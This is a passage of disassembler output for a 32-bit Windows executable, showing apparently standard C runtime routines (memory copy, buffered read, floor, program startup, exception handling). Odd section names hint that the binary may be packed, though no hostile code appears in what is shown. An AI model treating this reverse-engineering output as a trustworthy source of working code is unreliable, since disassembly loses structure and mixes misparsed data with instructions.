sub_40D820+B6j ... jmp ds:off_40D928[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40D8B8 dd offset loc_40D8E4 dd offset loc_40D908 ; --------------------------------------------------------------------------- loc_40D8B8: ; DATA XREF: sub_40D820+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40D8A4 rep movsd jmp ds:off_40D994[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40D8E4: ; DATA XREF: sub_40D820+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40D8A4 rep movsd jmp ds:off_40D994[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40D908: ; DATA XREF: sub_40D820+94o and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_40D8A4 rep movsd jmp ds:off_40D994[edx*4] ; --------------------------------------------------------------------------- align 4 off_40D928 dd offset loc_40D98B ; DATA XREF: sub_40D820:loc_40D8A4r dd offset loc_40D978 dd offset loc_40D970 dd offset loc_40D968 dd offset loc_40D960 dd offset loc_40D958 dd offset loc_40D950 dd offset loc_40D948 ; --------------------------------------------------------------------------- loc_40D948: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40D950: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40D958: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40D960: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40D968: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40D970: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40D978: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40D98B: ; CODE XREF: sub_40D820:loc_40D8A4j ; DATA XREF: sub_40D820:off_40D928o jmp ds:off_40D994[edx*4] ; --------------------------------------------------------------------------- align 4 off_40D994 dd offset loc_40D9A4 ; DATA XREF: sub_40D820+5Cr ; sub_40D820+BAr ... dd offset loc_40D9AC dd offset loc_40D9B8 dd offset loc_40D9CC ; --------------------------------------------------------------------------- loc_40D9A4: ; CODE XREF: sub_40D820+5Cj ; sub_40D820+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D9AC: ; CODE XREF: sub_40D820+5Cj ; sub_40D820+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D9B8: ; CODE XREF: sub_40D820+5Cj ; sub_40D820+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D9CC: ; CODE XREF: sub_40D820+5Cj ; sub_40D820+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D9E4: ; CODE XREF: sub_40D820+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40DA18 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40DA0C std rep movsd cld jmp ds:off_40DB30[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40DA0C: ; CODE XREF: sub_40D820+1DDj ; sub_40D820+238j ... neg ecx jmp dword ptr ds:loc_40DADF+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40DA18: ; CODE XREF: sub_40D820+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40DA30 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_40DA30+4[eax*4] ; --------------------------------------------------------------------------- loc_40DA30: ; CODE XREF: sub_40D820+202j ; DATA XREF: sub_40D820+209r jmp ds:off_40DB30[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40DA44 ; --------------------------------------------------------------------------- push 900040DAh fiadd dword ptr [eax+0] loc_40DA44: ; DATA XREF: sub_40D820+218o mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_40DA0C std rep movsd cld jmp ds:off_40DB30[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40DA0C std rep movsd cld jmp ds:off_40DB30[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40DA0C std rep movsd cld jmp ds:off_40DB30[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40DAE4 dd offset loc_40DAEC dd offset loc_40DAF4 ; --------------------------------------------------------------------------- cld fiadd dword ptr [eax+0] add al, 0DBh inc eax add [ebx+ebx*8], cl inc eax add [ebx+ebx*8], dl inc eax loc_40DADF: ; DATA XREF: sub_40D820+1EEr add [edi], ah fild dword ptr [eax+0] loc_40DAE4: ; DATA XREF: sub_40D820+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40DAEC: ; DATA XREF: sub_40D820+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40DAF4: ; DATA XREF: sub_40D820+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40DB27: ; CODE XREF: sub_40D820+1EEj jmp ds:off_40DB30[edx*4] ; --------------------------------------------------------------------------- align 10h off_40DB30 dd offset loc_40DB40 ; DATA XREF: sub_40D820+1E3r ; sub_40D820:loc_40DA30r ... dd offset loc_40DB48 dd offset loc_40DB58 dd offset loc_40DB6C ; --------------------------------------------------------------------------- loc_40DB40: ; CODE XREF: sub_40D820+1E3j ; sub_40D820:loc_40DA30j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40DB48: ; CODE XREF: sub_40D820+1E3j ; sub_40D820:loc_40DA30j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40DB58: ; CODE XREF: sub_40D820+1E3j ; sub_40D820:loc_40DA30j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40DB6C: ; CODE XREF: sub_40D820+1E3j ; sub_40D820:loc_40DA30j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40D820 endp ; =============== S U B R O U T I N E ======================================= sub_40DB85 proc near ; CODE XREF: sub_407FE4+6Cp ; sub_407FE4+15Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_40DBAC call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBAC: ; CODE XREF: sub_40DB85+9j mov eax, [eax+0Ch] and eax, 10h pop esi retn sub_40DB85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBB4 proc near ; CODE XREF: sub_40DD4A+A1p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_8] test edi, edi mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax jz loc_40DD04 cmp [ebp+arg_C], 0 jz loc_40DD04 imul edi, [ebp+arg_C] mov esi, [ebp+arg_10] test word ptr [esi+0Ch], 10Ch mov [ebp+var_10], edi mov ebx, edi jz short loc_40DBFA mov eax, [esi+18h] mov [ebp+var_C], eax jmp short loc_40DC01 ; --------------------------------------------------------------------------- loc_40DBFA: ; CODE XREF: sub_40DBB4+3Cj mov [ebp+var_C], 1000h loc_40DC01: ; CODE XREF: sub_40DBB4+44j test edi, edi jz loc_40DCD0 loc_40DC09: ; CODE XREF: sub_40DBB4+116j test word ptr [esi+0Ch], 10Ch jz short loc_40DC52 mov eax, [esi+4] test eax, eax jz short loc_40DC52 jl loc_40DD35 cmp ebx, eax mov edi, ebx jb short loc_40DC26 mov edi, eax loc_40DC26: ; CODE XREF: sub_40DBB4+6Ej cmp edi, [ebp+var_4] ja loc_40DCD5 push edi push dword ptr [esi] push [ebp+var_4] push [ebp+var_8] call sub_40CB41 sub [esi+4], edi add [esi], edi add [ebp+var_8], edi sub ebx, edi add esp, 10h sub [ebp+var_4], edi mov edi, [ebp+var_10] jmp short loc_40DCC8 ; --------------------------------------------------------------------------- loc_40DC52: ; CODE XREF: sub_40DBB4+5Bj ; sub_40DBB4+62j cmp ebx, [ebp+var_C] jb short loc_40DCA0 cmp [ebp+var_C], 0 mov eax, ebx jz short loc_40DC68 xor edx, edx div [ebp+var_C] mov eax, ebx sub eax, edx loc_40DC68: ; CODE XREF: sub_40DBB4+A9j cmp eax, [ebp+var_4] ja loc_40DD0B push eax push [ebp+var_8] push esi call sub_4126A4 pop ecx push eax call sub_4140C6 add esp, 0Ch test eax, eax jz loc_40DD44 cmp eax, 0FFFFFFFFh jz loc_40DD35 add [ebp+var_8], eax sub ebx, eax sub [ebp+var_4], eax jmp short loc_40DCC8 ; --------------------------------------------------------------------------- loc_40DCA0: ; CODE XREF: sub_40DBB4+A1j push esi call sub_413A04 cmp eax, 0FFFFFFFFh pop ecx jz loc_40DD39 cmp [ebp+var_4], 0 jz short loc_40DD0B mov ecx, [ebp+var_8] inc [ebp+var_8] mov [ecx], al mov eax, [esi+18h] dec ebx dec [ebp+var_4] mov [ebp+var_C], eax loc_40DCC8: ; CODE XREF: sub_40DBB4+9Cj ; sub_40DBB4+EAj test ebx, ebx jnz loc_40DC09 loc_40DCD0: ; CODE XREF: sub_40DBB4+4Fj mov eax, [ebp+arg_C] jmp short loc_40DD06 ; --------------------------------------------------------------------------- loc_40DCD5: ; CODE XREF: sub_40DBB4+75j xor esi, esi cmp [ebp+arg_4], 0FFFFFFFFh jz short loc_40DCEC push [ebp+arg_4] push esi push [ebp+arg_0] call sub_40C6F0 add esp, 0Ch loc_40DCEC: ; CODE XREF: sub_40DBB4+127j call sub_40F7D4 push esi push esi push esi push esi mov dword ptr [eax], 22h push esi loc_40DCFC: ; CODE XREF: sub_40DBB4+17Fj call sub_40CB08 add esp, 14h loc_40DD04: ; CODE XREF: sub_40DBB4+1Aj ; sub_40DBB4+24j xor eax, eax loc_40DD06: ; CODE XREF: sub_40DBB4+11Fj ; sub_40DBB4+18Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40DD0B: ; CODE XREF: sub_40DBB4+B7j ; sub_40DBB4+100j cmp [ebp+arg_4], 0FFFFFFFFh jz short loc_40DD21 push [ebp+arg_4] push 0 push [ebp+arg_0] call sub_40C6F0 add esp, 0Ch loc_40DD21: ; CODE XREF: sub_40DBB4+15Bj call sub_40F7D4 mov dword ptr [eax], 22h xor eax, eax push eax push eax push eax push eax push eax jmp short loc_40DCFC ; --------------------------------------------------------------------------- loc_40DD35: ; CODE XREF: sub_40DBB4+64j ; sub_40DBB4+DCj or dword ptr [esi+0Ch], 20h loc_40DD39: ; CODE XREF: sub_40DBB4+F6j ; sub_40DBB4+194j mov eax, edi sub eax, ebx xor edx, edx div [ebp+arg_8] jmp short loc_40DD06 ; --------------------------------------------------------------------------- loc_40DD44: ; CODE XREF: sub_40DBB4+D3j or dword ptr [esi+0Ch], 10h jmp short loc_40DD39 sub_40DBB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD4A proc near ; CODE XREF: sub_40DE11+12p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push 0Ch push offset dword_4219C0 call __SEH_prolog4 xor esi, esi mov [ebp+var_1C], esi mov ebx, [ebp+arg_8] cmp ebx, esi jz short loc_40DD8D mov edi, [ebp+arg_C] cmp edi, esi jz short loc_40DD8D xor eax, eax cmp [ebp+arg_0], esi setnz al cmp eax, esi jnz short loc_40DD95 loc_40DD75: ; CODE XREF: sub_40DD4A+7Aj ; sub_40DD4A+88j call sub_40F7D4 mov dword ptr [eax], 16h push esi push esi push esi push esi push esi call sub_40CB08 add esp, 14h loc_40DD8D: ; CODE XREF: sub_40DD4A+16j ; sub_40DD4A+1Dj xor eax, eax loc_40DD8F: ; CODE XREF: sub_40DD4A+BBj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40DD95: ; CODE XREF: sub_40DD4A+29j cmp [ebp+arg_10], esi jz short loc_40DDA5 or eax, 0FFFFFFFFh xor edx, edx div ebx cmp edi, eax jbe short loc_40DDD4 loc_40DDA5: ; CODE XREF: sub_40DD4A+4Ej cmp [ebp+arg_4], 0FFFFFFFFh jz short loc_40DDBA push [ebp+arg_4] push esi push [ebp+arg_0] call sub_40C6F0 add esp, 0Ch loc_40DDBA: ; CODE XREF: sub_40DD4A+5Fj xor eax, eax cmp [ebp+arg_10], esi setnz al cmp eax, esi jz short loc_40DD75 or eax, 0FFFFFFFFh xor edx, edx div ebx cmp eax, edi sbb eax, eax inc eax jz short loc_40DD75 loc_40DDD4: ; CODE XREF: sub_40DD4A+59j push [ebp+arg_10] call sub_411DE0 pop ecx mov [ebp+ms_exc.disabled], esi push [ebp+arg_10] push edi push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_40DBB4 add esp, 14h mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40DE07 mov eax, [ebp+var_1C] jmp short loc_40DD8F sub_40DD4A endp ; =============== S U B R O U T I N E ======================================= sub_40DE07 proc near ; CODE XREF: sub_40DD4A+B3p ; DATA XREF: r69pu5ti:004219D8o push dword ptr [ebp+18h] call sub_411E32 pop ecx retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= sub_40DE11 proc near ; CODE XREF: sub_407FE4+D8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push [esp+4+arg_8] push [esp+8+arg_4] push 0FFFFFFFFh push [esp+10h+arg_0] call sub_40DD4A add esp, 14h retn sub_40DE11 endp ; =============== S U B R O U T I N E ======================================= sub_40DE2C proc near ; CODE XREF: sub_40DE3Dj ; sub_419DC4+35p arg_0 = dword ptr 4 push 0Ah push 0 push [esp+8+arg_0] call sub_4143CD add esp, 0Ch retn sub_40DE2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DE3D proc near ; CODE XREF: sub_408B28+192p ; .text:00409EBCp ... jmp sub_40DE2C sub_40DE3D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DE50 proc near ; CODE XREF: .text:00409800p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 4 cmp dword_434D3C, 0 jz sub_4146A6 sub esp, 8 stmxcsr [esp+8+var_4] mov eax, [esp+8+var_4] and eax, 1F80h cmp eax, 1F80h jnz short loc_40DE84 fnstcw word ptr [esp+8+var_8] mov ax, word ptr [esp+8+var_8] and ax, 7Fh cmp ax, 7Fh loc_40DE84: ; CODE XREF: sub_40DE50+23j lea esp, [esp+8] jnz sub_4146A6 jmp short $+2 movq xmm0, [esp+arg_0] movapd xmm2, oword ptr ds:oword_41E390 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_41E3B0 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jz short loc_40DF12 cmp eax, 0BFFh jl short loc_40DF4A psllq xmm1, xmm2 cmp eax, 0C32h jg short loc_40DEE3 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40DEE3: ; CODE XREF: sub_40DE50+86j ; sub_40DE50+E1j ucomisd xmm7, xmm7 jnp short loc_40DF0D mov edx, 3ECh sub esp, 10h mov [esp+10h+var_4], edx mov edx, esp add edx, 14h mov [esp+10h+var_8], edx mov [esp+10h+var_C], edx mov [esp+10h+var_10], edx call sub_4143F6 add esp, 10h loc_40DF0D: ; CODE XREF: sub_40DE50+97j fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40DF12: ; CODE XREF: sub_40DE50+74j movq xmm0, [esp+arg_0] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 6 cmp eax, 3FFh jl short loc_40DF51 cmp eax, 432h jg short loc_40DEE3 andpd xmm0, oword ptr ds:oword_41E380 addsd xmm1, xmm0 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40DF4A: ; CODE XREF: sub_40DE50+7Bj fld ds:dbl_41E3C0 retn ; --------------------------------------------------------------------------- loc_40DF51: ; CODE XREF: sub_40DE50+DAj cmppd xmm3, oword ptr ds:oword_41E3A0, 6 andpd xmm3, oword ptr ds:oword_41E380 movq [esp+arg_0], xmm3 fld [esp+arg_0] retn sub_40DE50 endp ; =============== S U B R O U T I N E ======================================= sub_40DF6D proc near ; CODE XREF: .text:0040E012p ; .text:0040E0AFp ... arg_0 = dword ptr 4 cmp dword_425B1C, 1 jnz short loc_40DF7B call sub_413861 loc_40DF7B: ; CODE XREF: sub_40DF6D+7j push [esp+arg_0] call sub_4136C1 push 0FFh call sub_4119A7 pop ecx pop ecx retn sub_40DF6D endp ; =============== S U B R O U T I N E ======================================= sub_40DF91 proc near ; CODE XREF: .text:0040E097p cmp word ptr ds:400000h, 5A4Dh jnz short loc_40DFCF mov eax, ds:40003Ch cmp dword ptr [eax+400000h], 4550h jnz short loc_40DFCF cmp word ptr [eax+400018h], 10Bh jnz short loc_40DFCF cmp dword ptr [eax+400074h], 0Eh jbe short loc_40DFCF xor ecx, ecx cmp [eax+4000E8h], ecx setnz cl mov eax, ecx retn ; --------------------------------------------------------------------------- loc_40DFCF: ; CODE XREF: sub_40DF91+9j ; sub_40DF91+1Aj ... xor eax, eax retn sub_40DF91 endp ; --------------------------------------------------------------------------- loc_40DFD2: ; CODE XREF: .text:0040E1B7j push 60h push offset dword_4219E0 call __SEH_prolog4 and dword ptr [ebp-4], 0 lea eax, [ebp-70h] push eax call ds:off_41E18C mov dword ptr [ebp-4], 0FFFFFFFEh mov edi, 94h push edi push 0 mov ebx, ds:dword_41E0E4 call ebx ; GetProcessHeap push eax call ds:dword_41E0F8 ; RtlAllocateHeap mov esi, eax test esi, esi jnz short loc_40E01D push 12h call sub_40DF6D pop ecx jmp loc_40E1A7 ; --------------------------------------------------------------------------- loc_40E01D: ; CODE XREF: .text:0040E00Ej mov [esi], edi push esi call ds:dword_41E058 ; GetVersionExA push esi push 0 test eax, eax jnz short loc_40E03B call ebx ; GetProcessHeap push eax call ds:dword_41E0F0 ; RtlFreeHeap jmp loc_40E1A7 ; --------------------------------------------------------------------------- loc_40E03B: ; CODE XREF: .text:0040E02Bj mov eax, [esi+10h] mov [ebp-20h], eax mov eax, [esi+4] mov [ebp-24h], eax mov eax, [esi+8] mov [ebp-28h], eax mov edi, [esi+0Ch] and edi, 7FFFh call ebx ; GetProcessHeap push eax call ds:dword_41E0F0 ; RtlFreeHeap mov esi, [ebp-20h] cmp esi, 2 jz short loc_40E06D or edi, 8000h loc_40E06D: ; CODE XREF: .text:0040E065j mov ecx, [ebp-24h] mov eax, ecx shl eax, 8 mov edx, [ebp-28h] add eax, edx mov dword_425FF8, esi mov dword_426000, eax mov dword_426004, ecx mov dword_426008, edx mov dword_425FFC, edi call sub_40DF91 mov [ebp-20h], eax xor ebx, ebx inc ebx push ebx call sub_40FA83 pop ecx test eax, eax jnz short loc_40E0B5 push 1Ch call sub_40DF6D pop ecx loc_40E0B5: ; CODE XREF: .text:0040E0ABj call sub_40F4D7 test eax, eax jnz short loc_40E0C6 push 10h call sub_40DF6D pop ecx loc_40E0C6: ; CODE XREF: .text:0040E0BCj call sub_414DA4 mov [ebp-4], ebx call sub_412464 test eax, eax jge short loc_40E0DF push 1Bh call sub_41195D pop ecx loc_40E0DF: ; CODE XREF: .text:0040E0D5j call ds:off_41E190 mov dword_434D60, eax call sub_414C6F mov dword_425B14, eax call sub_414BB6 test eax, eax jge short loc_40E105 push 8 call sub_41195D pop ecx loc_40E105: ; CODE XREF: .text:0040E0FBj call sub_414943 test eax, eax jge short loc_40E116 push 9 call sub_41195D pop ecx loc_40E116: ; CODE XREF: .text:0040E10Cj push ebx call sub_411A79 pop ecx test eax, eax jz short loc_40E128 push eax call sub_41195D pop ecx loc_40E128: ; CODE XREF: .text:0040E11Fj call sub_4148E6 test [ebp-44h], bl jz short loc_40E138 movzx ecx, word ptr [ebp-40h] jmp short loc_40E13B ; --------------------------------------------------------------------------- loc_40E138: ; CODE XREF: .text:0040E130j push 0Ah pop ecx loc_40E13B: ; CODE XREF: .text:0040E136j push ecx push eax push 0 push 400000h call sub_4049E1 mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_40E158 push eax call sub_411BD9 loc_40E158: ; CODE XREF: .text:0040E150j call sub_411BFB jmp short loc_40E18D ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-2Ch], ecx push eax push ecx call sub_414777 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-2Ch] mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_40E188 push eax call sub_411BEA loc_40E188: ; CODE XREF: .text:0040E180j call sub_411C0A loc_40E18D: ; CODE XREF: .text:0040E15Dj mov dword ptr [ebp-4], 0FFFFFFFEh mov eax, [ebp-1Ch] jmp short loc_40E1AC ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFEh loc_40E1A7: ; CODE XREF: .text:0040E018j ; .text:0040E036j mov eax, 0FFh loc_40E1AC: ; CODE XREF: .text:0040E197j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40E1B2: ; CODE XREF: y22d6.y.:004397FCj call sub_414DEC jmp loc_40DFD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E1BC proc near ; CODE XREF: sub_401FC0+58p ; .text:004022C0p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41E3C8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] test eax, eax pop edi mov [ebp+var_4], eax pop esi jz short loc_40E1EF test byte ptr [eax], 8 jz short loc_40E1EF mov [ebp+var_C], 1994000h loc_40E1EF: ; CODE XREF: sub_40E1BC+25j ; sub_40E1BC+2Aj lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:off_41E188 leave retn 8 sub_40E1BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E206 proc near ; CODE XREF: sub_41560B+65p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ebp, [ebp+var_4] mov esp, [ebx-4] jmp eax sub_40E206 endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_40E236 proc near ; CODE XREF: sub_415124+31p ; sub_41557A+59p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40E236 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E23D proc near ; CODE XREF: sub_40E3CA+69p ; sub_41560B:loc_415633p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_40E266 push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_41D486 loc_40E266: ; DATA XREF: sub_40E23D+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_40E23D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E28F proc near ; CODE XREF: sub_41D5F3+16j ; sub_41D60E+16j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push [ebp+var_4] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415AD7 add esp, 20h mov [ebp+var_8], eax pop edi pop esi pop ebx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_40E28F endp ; --------------------------------------------------------------------------- loc_40E2C5: ; DATA XREF: sub_40E56F+24o push esi cld mov esi, [esp+0Ch] mov ecx, [esi+8] xor ecx, esi call sub_40AB4A push 0 push esi push dword ptr [esi+14h] push dword ptr [esi+0Ch] push 0 push dword ptr [esp+24h] push dword ptr [esi+10h] push dword ptr [esp+24h] call sub_415AD7 add esp, 20h pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2F5 proc near ; CODE XREF: sub_40E3CA+81p ; sub_415677+53p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 38h push ebx cmp [ebp+arg_0], 123h jnz short loc_40E317 mov eax, offset loc_40E39E mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax inc eax jmp loc_40E3C7 ; --------------------------------------------------------------------------- loc_40E317: ; CODE XREF: sub_40E2F5+Ej and [ebp+var_28], 0 mov [ebp+var_24], offset sub_40E3CA mov eax, dword_423068 lea ecx, [ebp+var_28] xor eax, ecx mov [ebp+var_20], eax mov eax, [ebp+arg_10] mov [ebp+var_1C], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_14] mov [ebp+var_14], eax mov eax, [ebp+arg_18] mov [ebp+var_10], eax and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_38], 1 mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov eax, [ebp+arg_8] mov [ebp+var_30], eax 